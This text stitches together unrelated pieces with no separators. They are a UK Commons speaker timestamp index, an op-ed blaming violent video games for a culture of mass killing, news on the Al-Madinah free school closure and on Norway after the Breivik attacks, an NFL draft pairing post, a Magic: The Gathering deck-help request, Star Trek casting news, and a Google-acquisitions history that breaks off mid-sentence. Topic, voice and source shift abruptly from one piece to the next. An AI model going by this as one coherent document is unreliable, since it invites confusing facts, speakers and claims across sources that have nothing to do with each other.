Stewart Hosie MP (Dundee East, Scottish National Party) 14:01:45 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 14:05:45 Rt Hon George Osborne MP (Tatton, Conservative) 14:06:34 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 14:07:21 Rt Hon Edward Miliband MP (Doncaster North, Labour) 14:08:08 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 14:09:07 Rt Hon Andrew Tyrie MP (Chichester, Conservative) 14:09:55 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 14:10:38 Chris Leslie MP (Nottingham East, Labour (Co-op)) 14:11:17 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 14:11:58 Rt Hon John Redwood MP (Wokingham, Conservative) 14:12:35 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 14:13:45 Meg Hillier MP (Hackney South and Shoreditch, Labour (Co-op)) 14:14:16 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 14:15:11 Rt Hon Anna Soubry MP (Broxtowe, Conservative) 14:15:49 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 14:16:52 Rt Hon Andy Burnham MP (Leigh, Labour) 14:17:32 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 14:19:21 Dr Sarah Wollaston MP (Totnes, Conservative) 14:20:00 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 14:20:44 Mr Douglas Carswell MP (Clacton, UK Independence Party) 14:21:11 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 14:21:51 Kit Malthouse MP (North West Hampshire, Conservative) 14:22:16 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 14:22:51 Rachel Reeves MP (Leeds West, Labour) 14:23:47 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 14:24:59 Antoinette Sandbach MP (Eddisbury, Conservative) 14:25:32 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 14:25:45 Sammy Wilson MP (East Antrim, Democratic Unionist Party) 14:26:50 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 14:27:40 John Penrose MP (Weston-super-Mare, Conservative) 14:28:07 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 14:28:57 Luciana Berger MP (Liverpool, Wavertree, Labour (Co-op)) 14:29:41 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 14:30:33 David Rutley MP (Macclesfield, Conservative) 14:30:55 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 14:31:37 Rt Hon Alistair Carmichael MP (Orkney and Shetland, Liberal Democrat) 14:32:32 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 14:33:42 Stephen Hammond MP (Wimbledon, Conservative) 14:34:06 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 14:34:34 Rt Hon Caroline Flint MP (Don Valley, Labour) 14:35:11 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 14:35:41 Mr Nigel Evans MP (Ribble Valley, Conservative) 14:36:12 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 14:36:41 Caroline Lucas MP (Brighton, Pavilion, Green Party) 14:37:20 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 14:38:03 Mr Stewart Jackson MP (Peterborough, Conservative) 14:38:39 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 14:38:58 Jess Phillips MP (Birmingham, Yardley, Labour) 14:39:27 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 14:40:08 Heidi Allen MP (South Cambridgeshire, Conservative) 14:40:41 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 14:40:45 Jonathan Edwards MP (Carmarthen East and Dinefwr, Plaid Cymru) 14:41:05 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 14:41:59 Jeremy Quin MP (Horsham, Conservative) 14:42:23 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 14:42:39 Mrs Louise Ellman MP (Liverpool, Riverside, Labour (Co-op)) 14:42:59 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 14:43:51 Maggie Throup MP (Erewash, Conservative) 14:44:07 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 14:45:04 Dr Rosena Allin-Khan MP (Tooting, Labour) 14:45:46 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 14:46:24 Stephen Metcalfe MP (South Basildon and East Thurrock, Conservative) 14:47:06 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 14:48:24 Helen Goodman MP (Bishop Auckland, Labour) 14:49:11 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 14:49:53 Mr Jacob Rees-Mogg MP (North East Somerset, Conservative) 14:50:35 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 14:51:01 George Kerevan MP (East Lothian, Scottish National Party) 14:52:00 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 14:52:58 James Cartlidge MP (South Suffolk, Conservative) 14:53:25 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 14:54:06 Alison McGovern MP (Wirral South, Labour) 14:54:42 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 14:55:08 Charlie Elphicke MP (Dover, Conservative) 14:55:31 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 14:55:50 Mrs Emma Lewell-Buck MP (South Shields, Labour) 14:56:24 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 14:57:46 Mr David Burrowes MP (Enfield, Southgate, Conservative) 14:58:13 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 14:58:41 Ms Margaret Ritchie MP (South Down, Social Democratic & Labour Party) 14:59:10 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 14:59:48 Ben Howlett MP (Bath, Conservative) 15:00:21 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 15:00:40 Stewart Malcolm McDonald MP (Glasgow South, Scottish National Party) 15:01:14 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 15:01:39 Mims Davies MP (Eastleigh, Conservative) 15:02:12 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 15:02:49 Seema Malhotra MP (Feltham and Heston, Labour (Co-op)) 15:03:35 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 15:04:01 Justin Tomlinson MP (North Swindon, Conservative) 15:04:17 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 15:04:25 Kirsty Blackman MP (Aberdeen North, Scottish National Party) 15:04:44 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 15:04:53 Mr Ranil Jayawardena MP (North East Hampshire, Conservative) 15:05:17 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 15:05:31 Wes Streeting MP (Ilford North, Labour) 15:06:12 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 15:06:56 Mark Pawsey MP (Rugby, Conservative) 15:07:22 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 15:07:50 Alison Thewliss MP (Glasgow Central, Scottish National Party) 15:08:27 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 15:09:10 Huw Merriman MP (Bexhill and Battle, Conservative) 15:09:30 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 15:10:02 Angela Smith MP (Penistone and Stocksbridge, Labour) 15:10:39 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 15:11:13 Richard Drax MP (South Dorset, Conservative) 15:11:41 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 15:11:53 Jack Dromey MP (Birmingham, Erdington, Labour) 15:12:21 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 15:12:53 Chris Philp MP (Croydon South, Conservative) 15:13:19 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 15:14:02 Patrick Grady MP (Glasgow North, Scottish National Party) 15:14:28 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 15:14:43 Iain Stewart MP (Milton Keynes South, Conservative) 15:15:02 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 15:15:41 Chris Stephens MP (Glasgow South West, Scottish National Party) 15:16:10 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 15:16:44 Kevin Foster MP (Torbay, Conservative) 15:17:14 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 15:17:30 Nick Smith MP (Blaenau Gwent, Labour) 15:17:56 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 15:18:42 Owen Thompson MP (Midlothian, Scottish National Party) 15:19:09 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 15:19:40 Simon Danczuk MP (Rochdale, Independent) 15:20:07 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 15:20:24 Roger Mullin MP (Kirkcaldy and Cowdenbeath, Scottish National Party) 15:20:45 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 15:21:04 Mark Durkan MP (Foyle, Social Democratic & Labour Party) 15:21:35 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 15:21:45 Stuart C. McDonald MP (Cumbernauld, Kilsyth and Kirkintilloch East, Scottish National Party) 15:22:07 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 15:22:45 Greg Mulholland MP (Leeds North West, Liberal Democrat) 15:23:15 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 15:23:31 Alan Brown MP (Kilmarnock and Loudoun, Scottish National Party) 15:24:01 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 15:24:48 Tom Elliott MP (Fermanagh and South Tyrone, Ulster Unionist Party) 15:25:03 Rt Hon Philip Hammond MP, The Chancellor of the Exchequer (Runnymede and Weybridge, Conservative) 15:25:13 Point of Order 15:25:58 Simon Hoare MP (North Dorset, Conservative) 15:26:40 Jonathan Ashworth MP (Leicester South, Labour (Co-op)) 15:28:14 Chris Stephens MP (Glasgow South West, Scottish National Party) 15:29:36 Ten Minute Rule Motion: Representation of the People (Voter Proof of Identity) 15:29:50 Chris Green MP (Bolton West, Conservative) 15:36:37 Rt Hon John Spellar MP (Warley, Labour) 15:43:36 General debate: Exiting the EU and transport policy 15:43:44 Rt Hon Chris Grayling MP, The Secretary of State for Transport (Epsom and Ewell, Conservative) 16:06:14 Andy McDonald MP (Middlesbrough, Labour) 16:23:01 Sir William Cash MP (Stone, Conservative) 16:39:05 Drew Hendry MP (Inverness, Nairn, Badenoch and Strathspey, Scottish National Party) 17:00:41 Ben Howlett MP (Bath, Conservative) 17:11:28 Mrs Louise Ellman MP (Liverpool, Riverside, Labour (Co-op)) 17:25:36 Mims Davies MP (Eastleigh, Conservative) 17:32:30 Rt Hon Dame Rosie Winterton MP (Doncaster Central, Labour) 17:43:01 Stewart Malcolm McDonald MP (Glasgow South, Scottish National Party) 17:50:54 Ian Paisley MP (North Antrim, Democratic Unionist Party) 18:08:08 Alan Brown MP (Kilmarnock and Loudoun, Scottish National Party) 18:21:21 Robert Flello MP (Stoke-on-Trent South, Labour) 18:30:15 Stephen Gethins MP (North East Fife, Scottish National Party) 18:37:57 Jenny Chapman MP (Darlington, Labour) 18:45:17 Rt Hon David Jones MP, Minister of State (Department for Exiting the European Union) (Clwyd West, Conservative) 18:59:59 Point of Order Rt Hon Alistair Carmichael MP (Orkney and Shetland, Liberal Democrat)

Whatever else is said about the murder of 20 elementary school children in Newtown, Conn. last year, let no one say – especially at the Senate Judiciary Committee hearings on gun control today – that those killings were “unimaginable.” Every day, mass killings are imagined, rehearsed, and enacted – virtually – by millions of children and young adults, mostly boys and men, in violent video games. One segment of Bioshock 2, for example, invites players to kill defenseless, cowering girls (called Little Sisters) or lure them into a trap where they are mowed down by a machine gun. Adam Lanza didn’t have to imagine the Sandy Hook massacre on his own. Others had already imagined it for him. When Wayne LaPierre, head of the National Rifle Association, pointed a finger at video games and media violence during a news conference after the shootings, it was a calculated effort to distract attention from the gun industry and its powerful lobby. As former Congresswoman Gabrielle Giffords and her husband Mark Kelly wrote in their USA Today op-ed announcing the launch of their gun-control superPAC, "We saw from the NRA leadership's defiant and unsympathetic response to the Newtown, Conn., massacre that winning even the most common-sense reforms will require a fight." But Mr. LaPierre was also half right. Glock and Bushmaster give troubled teens and young adults like Lanza the means to kill. But antisocial video games and a wider culture of militarism give them the script. What LaPierre neglected to say is that the arms industry, the video game industry, and the military are deeply entwined with one another and even, one could argue, allied in values. In many ways, their work together is eroding the distinction between virtual and real killing. During the Iraq War, Marines relaxed after conducting search and destroy missions by playing Call of Duty 4 and CounterStrike, fielding the same weapons and tactics. CIA agents and Air Force personnel today kill real people in distant countries using remotely piloted drones, on interfaces modeled on video games, while US soldiers hone tactical combat skills on video game simulators and use Xbox joysticks to control real machines in the battlefield. Meanwhile, the video game industry works closely with the military and gun manufacturers to ensure that their virtual weaponry, from the PM-63 submachine gun to the C-130 gunship, behaves just like the real thing. Some game companies have direct contracts with the Department of Defense, manufacturing hardware and software for military applications. It’s easy to see why the US Army runs recruitment ads in gamer magazines and maintains a popular online game called America’s Army. While the industry denies any link between violent interactive media and real-world beliefs and behaviors, studies have shown that playing violent video games is associated with higher rates of hostility, more pro-violence attitudes, and a decrease in players’ ability to empathize with others, particularly those who are suffering. Computer video games are in fact the most powerful medium ever devised for altering perception and behavior. That’s why psychologists use them to help patients overcome post-traumatic stress disorder (PTSD), why pilots are trained on flight simulators, and why the military uses them to train soldiers. So what does it mean that millions of boys and young men are spending their free time “training” to kill? Whether knifing or setting fire to prostitutes in Grand Theft Auto, or mowing down scores of racially stereotyped Arabs in some fictional Middle Eastern country, male video-game players are being taught to associate representations of mass slaughter, torture, and other antisocial acts with play and pleasure. They are being told that to be a “real” man is to come to others heavily armed. The very idea of moving from room to room with an assault weapon, “clearing” the room by shooting victims in the head, as Lanza did in Newtown, is a convention of the First Person Shooter video game genre. The first such game, Doom, proved so successful at teaching soldiers how to kill that the Marines quickly adapted it for their training program. Prior to their massacre, the Columbine killers spent countless hours playing and even designing levels on a modified version of the same game. At his trial last year, Anders Breivik, the Norwegian extremist who murdered 69 people, most of them teenagers, on the island of Utoya, boasted that he had done his weapons training on the military-style First Person Shooter game, Call of Duty: Modern Warfare, which he had played for up to 16 hours a day as “part of my training-simulation.” The special gun sight Breivik installed on his rifle was the real version of the virtual one he had used in the game. The Breivik case reveals how narrow the US debate over gun violence really is. Norway has stringent gun control laws, and Breivik did his killing with a hunting rifle, not a semi-automatic assault rifle. So tightening restrictions on guns, in a nation that already has hundreds of millions of them in private hands, is both admirable and arguably beside the point. Banning guns alone won’t address a pervasive culture of militarism and violence – one that has diminished the ability of children and young adults to distinguish between real and virtual violence, or to care about the difference. Despite a landmark Supreme Court decision in 2011, which protected commercial video games as free speech, the Newtown massacre has renewed debate in the Congress and White House over what, if anything, should – or can – be done to regulate the $60 billion video game industry, the largest media business in the world. To his credit, President Obama recently ordered more federal research on possible links between violent video games and real-life violence, and asked Congress to fund it. But he declined to take stronger action. Two weeks ago, Vice President Joe Biden, who had earlier expressed concern about violent video games, suddenly backed down, after intense lobbying pressure from the industry. He and others seem to have accepted the industry's position that the research linking violent video games to real violence is too "inconclusive" to justify new legislative action. The industry is fond of saying that no one has yet been able to prove that a specific act of violence was "caused" by someone playing a video game. However, that's like my claiming that cars don't contribute to global warming, because no one has proved that my own SUV has caused the glaciers on Kilimanjaro to melt. The sources of climate change, and of violence, are in fact multiple. Video games may not cause violence on their own, but they contribute to a culture of violence by modeling antisocial acts and diminishing players' empathic response to others. They also promote a virulent militarism that subordinates democratic and civic values to a culture of war-making. And here, perhaps, lies the rub. A cynic might ask whether a deliberative body that routinely authorizes billions of dollars for real-world weapons, real-life wars that in just the last decade have left more than 100,000 real people, not virtual ones, dead, is terribly likely to go after an industry that spreads only make-believe violence. Let us give our elected representatives the benefit of the doubt, and assume that they would. Even so, it is not far-fetched to ask whether our representatives' reluctance to rein in the industry might not stem, at least in part, from their tacit appreciation of how deeply entwined cultures of symbolic violence now are with our national identity and self-understanding as a great military power. Yet a nation that lives by the sword dies by it, and it matters less and less whether that sword is virtual or real. So long as America continues socializing its young people in a culture of violence and war, whether in video games or in military campaigns abroad, we are unlikely to see an end to tragedies like Newtown or Aurora. John Sanbonmatsu teaches a course on the Philosophy and Ethics of Video Games at Worcester Polytechnic Institute, where he is associate professor of philosophy.

Image caption The school is also facing a probe by the Education Funding Agency A Muslim free school accused of imposing strict Islamic practices, such as segregated classrooms, has closed following an inspection by Ofsted. The BBC understands Ofsted's findings were so damning that the acting head of Al-Madinah, in Derby, had little choice but to shut it down immediately. The school said the move was due to a "health and safety issue" but expected it to reopen in the "very near future". Ofsted said it could not disclose its concerns until the inspection ended. It added it had "made some findings and shared them with the principal". The second day of the inspection is taking place later. In a statement on the school's website titled "short term closure", interim principal Stuart Wilson said: "Owing to a health and safety issue, I have taken the decision to close the school... until I am confident that all children are safe on site. HOW FREE ARE FREE SCHOOLS? Free schools are "free" in as much as they are not bound or funded by local authorities. Instead, they receive their funds directly from central government and have increased autonomy over the curriculum they follow, teachers' pay and conditions and the length of school terms and days. However, they are not free to do whatever they wish and must follow statutory and recommended procedures, much like any other maintained school. For example, all schools must have a child protection policy and all teachers and other adults who have contact with pupils must have an enhanced criminal records check. Free schools are inspected by watchdog Ofsted and have a duty to enter pupils for public exams such as national curriculum tests (Sats) and GCSEs; they are held to account by pupils' results, again as maintained school are. In terms of admissions, free schools cannot select by ability, but can select up to 10% of pupils on aptitude for a specialism such as sport or art. Faith-based free schools must admit at least 50% of pupils "without reference to faith" when the school is oversubscribed. "As parents, you will be informed directly, and on the website, when you are able to send your children back to school... "Assuring you that we have your children's best interests at heart." In a series of newspaper reports unnamed former staff members of Al-Madinah, which opened as a free school in September last year, had alleged that girls were forced to sit at the back of the classroom. Unnamed female staff members have also claimed they were forced to conform to a strict dress code including wearing a head scarf or hijab - whether or not they were Muslim. Immediate inspection When it opened Al-Madinah claimed to be the first Muslim ethos, all-through [reception, primary and secondary] free school in the country. The school's first head teacher, Andrew Cutts-Mckay, left the school after less than a year in the job. Last week, the interim principal told the BBC that he had not received any complaints from colleagues regarding the dress code and that pupils were not being segregated, with girls and boys being treated equally. Ofsted is not the only organisation with concerns about Al-Madinah. The Education Funding Agency - from which the school gets its public funding - is investigating alleged financial irregularities. In a statement, the Department for Education said it was already investigating the school before the allegations became public. It said: ''We discussed the problems with Ofsted and it launched an immediate inspection. We are waiting for Ofsted's final report and considering all legal options." The school's closure is likely to be embarrassing for Education Secretary Michael Gove, who introduced free schools in 2010 in an effort to raise standards in education. Free schools are state funded but operate outside local education authority control and can be set up by parents and community groups in England.

Last week, I posted this article analyzing NFL team/college pairings in the NFL Draft. In that study, I included every draft pick since 1936, as the goal was to get a flavor of NFL history. However, I thought it would be fun to do the same thing but to look at more recent time periods. Today’s post will be mostly tables, so hopefully you guys can add the analysis. Let’s start by looking at all (but only) the drafts in the post-merger period in NFL history. NFL Drafts from 1970 to 2013 Top Five Schools for each Team The Rams/UCLA connection is still at the top of the list, but the Pittsburgh/Pittsburgh combination falls off. In fact, the Chiefs and 49ers have drafted as many Panthers since the merger (10) as the Steelers. The table below shows the top five schools for each team: All teams to draft 10+ players from the same school since 1970 This list displays all team/college pairings with at least ten players. For space reasons, the table defaults by showing the top 50, but you can use the search function and the arrow boxes at the bottom of the table to see the rest of the list. Over the last 30 years (1984 to 2013) If we look at only the drafts from the last 30 years, the Bears/Sooners top the list. Chicago drafted 14 players from Oklahoma since 1984, with Tommie Harris being the best. Here are the top five schools for each team All teams to draft 7+ players from the same school since 1984 Over the last 20 years (1994 to 2013) The local connections really die down once we limit things to just the past two decades. Unsurprisingly, the southeast portion of the country is the one most likely to stay local. Top Five Schools for each Team All teams to draft 5+ players from the same school since 1994 Over the last 10 years (2004 to 2013) No connection over the past decade has been as strong as Cincinnati-Georgia. It started with Robert Geathers in 2004, and then the Bengals selected David Pollack and Odell Thurman in the first two rounds of the 2005 draft. In 2010, Cincinnati went back to the Bulldogs front seven and hit a home run with Geno Atkins in the fourth round. In 2011, A.J. Green was the team’s first round pick, and the Bengals spent a fourth round pick that year (Clint Boling) and the following year (Orson Charles) on more Georgia players. In the third round this year, Cincinnati drafted safety Shawn Williams. Top Five Schools for each Team All teams to draft 3+ players from the same school since 2004 Finally, let’s close with a list of the teams that have drafted at least 3 players from the same school over the last five years: All teams to draft 3+ players from the same school

Image caption Mr Stoltenberg said Norwegians had found their way home again Norway's Prime Minister, Jens Stoltenberg, has warned his compatriots not to launch a "witch-hunt" following the deadly attacks of 22 July. At a special session of parliament, he urged citizens and fellow politicians to show restraint and tolerance. King Harald and Crown Prince Haakon stood in silence as the speaker read the names of the 77 victims. MPs listened as violinist Arve Tellefsen played sombre music by the Norwegian composer Ole Bull. More funerals were held on Monday, including that of Gizem Dogan, a 17-year-old girl of Turkish origin. Turkey's Foreign Minister Ahmet Davutoglu attended her funeral ceremony, held on the first day of Ramadan, in Trondheim, on Norway's west coast. It took place on a football pitch because the local mosque was too small. Anders Behring Breivik, 32, has admitted carrying out the attacks - a car bomb in Oslo that killed eight people, and a mass shooting on the island of Utoeya that killed 69 mostly young Labour Party activists. Police said he would face interrogation this week that would be "more confrontational" than previous questioning. 'Fear and despair' A survey has suggested public pressure is growing in Norway for stiffer sentences for serious crimes. The poll for Verdens Gang newspaper suggested 65% of people thought penalties in Norway's justice system were "too low"; more than half said their view had hardened since the massacre. But Justice Minister Knut Storberget said: "We must listen and have a debate, while not drawing hasty conclusions. "It's important that policy isn't shaped in a state of panic." The prime minister also warned against measures that would curtail people's freedoms. "I would like to ask from this podium that we avoid starting a witch hunt on expression," he told MPs. "Everyone had to choose their own path in a landscape filled by shock, fear and despair. But the Norwegian people found their way home again." But the right-wing Progress Party indicated that it would press for tougher judicial measures. Per Sandberg, chairman of parliament's justice committee, and a member of the party, said when parliament reconvened in a few weeks there would be discussion "about sentences, searches by the police and everything else". "My party has always wanted that. I believe there will be new measures," he told Reuters.

Okay so it's an Angus Mackenzie Pillowfort deck, right? Yeah real original I know. Look I just wanna make the deck as disgusting as I can so I have one competitive deck, but I'm also a cocky enough jerk to want to be able to win with dumb cards like Helix Pinnacle and Azor's Elocutors by stalling long enough that I just win by default, like American Politics. There's also Approach of the Second Sun, a fantastic, new dumb wincon from Amonkhet. Granted, I'm okay with not winning with those awesomely dumb cards and just ripping people apart with Ulamog and the like. Obviously there's things to make myself borderline untouchable, like Best Avacyn (Avacyn, Angel of Hope), Privileged Position, Sterling Grove. And I have Witchbane Orb / Leyline of Sanctity to keep out things like Triskelion X Mikaius or someone wrathing the token player after playing Blood Artist. I have a Sigarda, Host of Herons to help deal with sac effects. Propaganda / Ghostly Prison to help deal with swarm strategies. Torpor Orb because it shuts down entire decks (tangent: why the hell doesn't this see more play?). Linvala, Keeper of Silence because no fun allowed. Counterspells, spot removal, Wraths, yadda yadda, you know the deal. You're smart, I trust you. Then we got both Tamiyo's because she's a top-tier girl and if I can protect her (which I usually can), I can put myself in a huge position to not lose, or at least turn it into a game of Archenemy. I also have an Elspeth, Sun's Champion because why not, but I should probably replace her (suggestions are welcome, that's why I'm here). We got ramp in the Signets, and Sol Ring, and Steve (Sakura-Tribe Elder). Card draw in Consecrated Sphinx, Rhystic Study, Sphinx's Revelation , one of the Tamiyo's, and with Thassa, God of the Sea and Sensei's Divining Top I can smooth out those draws a little bit more. Look, in general this deck is a pain in the poop-cannon to play against, and I love it, and I want to make it even more of a pain to play against. I'm talking full-on colonoscopy levels of awful. How can this deck be improved upon?

That STAR TREK: DISCOVERY casting rumor which hit the web last night has taken on some new life this evening, as Hollywood heavyweights Variety, Deadline, and The Hollywood Reporter are all now reporting that that Chinese-Malaysian actress Michelle Yeoh has beamed aboard the upcoming Trek television revival in a yet-undisclosed role – though CBS has not yet publicly confirmed that to any news outlet. Yeoh is one of Asia’s biggest stars, but she is perhaps best known to Western audiences for her feature-film roles in 1997’s James Bond adventure Tomorrow Never Dies and 2000’s Crouching Tiger, Hidden Dragon, has recently participated in streaming projects such as the recent Crouching Tiger sequel Sword of Destiny, and the historical drama Marco Polo, both Netflix productions. It’s unclear what kind of role Yeoh will inhabit on the show, as CBS has kept mum about nearly everything about the upcoming series – but Deadline claims that her character will be “Han Bo,” a Starfleet captain commanding the starship Shenzhou, which “is set to play a big role in Discovery’s first season.” Her character is not, however, expected to be the yet-uncast “lead role,” expected to be a younger female actor of color, taking on an officer ranked Lieutenant Commander. Yeoh was asked about her casting in an interview last night, where she adamantly said that she could “neither confirm nor deny” the rumors, but that she expected that “CBS will make their own announcement,” lending even more credence to these yet-unconfirmed reports. Neither CBS nor the STAR TREK: DISCOVERY production team has commented or confirmed this casting news, but with these three high-level entertainment news outlets all reporting it tonight, it seems more likely than not that Yeoh’s found a place in the Roddenberry universe.

As most of you know, Google recently turned 10 years old. The powerful search engine has been growing its Internet empire through acquisitions and partnerships ever since it went public. In this post, I’ll be going in depth about the companies Google acquired in the past and where are they now. 1. Deja.com (Price unknown, Date: February 12, 2001) Google bought Deja.com in February 2001. Deja News Research was a forum based on Usenet that started in 1995. Steve Madere started Deja News in Austin, TX and Google wanted it because of it’s searching capabilities. Deja News could search across all of their archived newsgroups. Results were found immediately. However, some of the material submitted to Deja.com included that from The Church of Scientology so the company found themselves facing a couple of lawsuits. In 1999, Deja.com shifted their business model to focus on shopping comparison. The archived messages did not become available to their users any longer. Then one year later, the company was in financial distress so they sold the shopping service to eBay’s Half.com and the archives to Google. Google took the archives from Deja and integrated it into Google Groups. “We welcome Deja’s loyal users into the growing community of Google users worldwide,” stated Larry Page in a press release from 2001, who was the CEO of Google at the time. “With more than 500 million individual messages and growing fast, Usenet and its thriving community is one of the most active and valuable information sources on the Internet.” Deja.com redirects to Google Groups and is blocked from Archive.org. 2. Outride (Price: unknown, Date: September 20, 2001) Outride was a spin-off from the Xerox Palo Alto Research Center (PARC). Outride specialized in online information retrieval. Through the acquisition, Google bought the I.P., the patent rights, source code, trademarks, and domain names from them. Using the technology from Outride, Google created iGoogle in May 2005. iGoogle is an AJAX-based starting homepage where users can aggregate RSS feeds and Google Gadgets. Outride had 2 products created at the time: Outride Search Service and Outride Communications Service. The technology platform created by Outride was called Outride Relevance Builder and Outride Relevance Miner. Outride Search Service provided search results based on user interests and demographics. This data was collected by their search habits. Outride Communications Services was a Web-based community platform that harvests hyperlinks from emails, calendars, communication apps, and other groupware. “This acquisition is another example of Google’s commitment to providing the highest quality search service in the world,” said Larry Page in the release about the acquisition, who was also the President of Products of Google at the time of the acquisition. “Outride has made significant advances in the field of relevance technology and we believe Google provides the ideal vehicle to continue the development of these technologies.” The Outride.net domain name is no longer online, but screenshots of the old site are available on archive.org. 3. Pyra Labs (Price: unknown, Date: February 16, 2003) Pyra Labs was created by Evan Williams and Meg Hourihan. The first product made by Pyra Labs was called Pyra and it was a web application that focused on project and contact management. Then they scrapped that model in 1999 and renamed Pyra to Blogger. Blogger was made available in August 1999. Paul Bausch and Matthew Haughey coded most of Blogger. Blogger did not have a revenue model at the time and the service was free. Blogger eventually ran out of seed money and the employees started working for free. Evan Williams watched his employees eventually walk out on the company, which included co-founder Meg Hourihan. Williams continued to work on Blogger alone, but then Trellix invested money into the company. Dan Bricklin, founder of Trellix believed that Blogger had potential. After the funding came in, Blogger set up an advertising-supported domain hosting Blog URL: blogspot.com. Blogger Pro was a paid version. In 2002, Blogger started licensing Blogger technology to media companies. This caught Google’s eye and they bought out the company in 2003. When Google bought out Blogger, the company had 6 employees. This includes Evan Williams and Jason Goldman. In 2004, 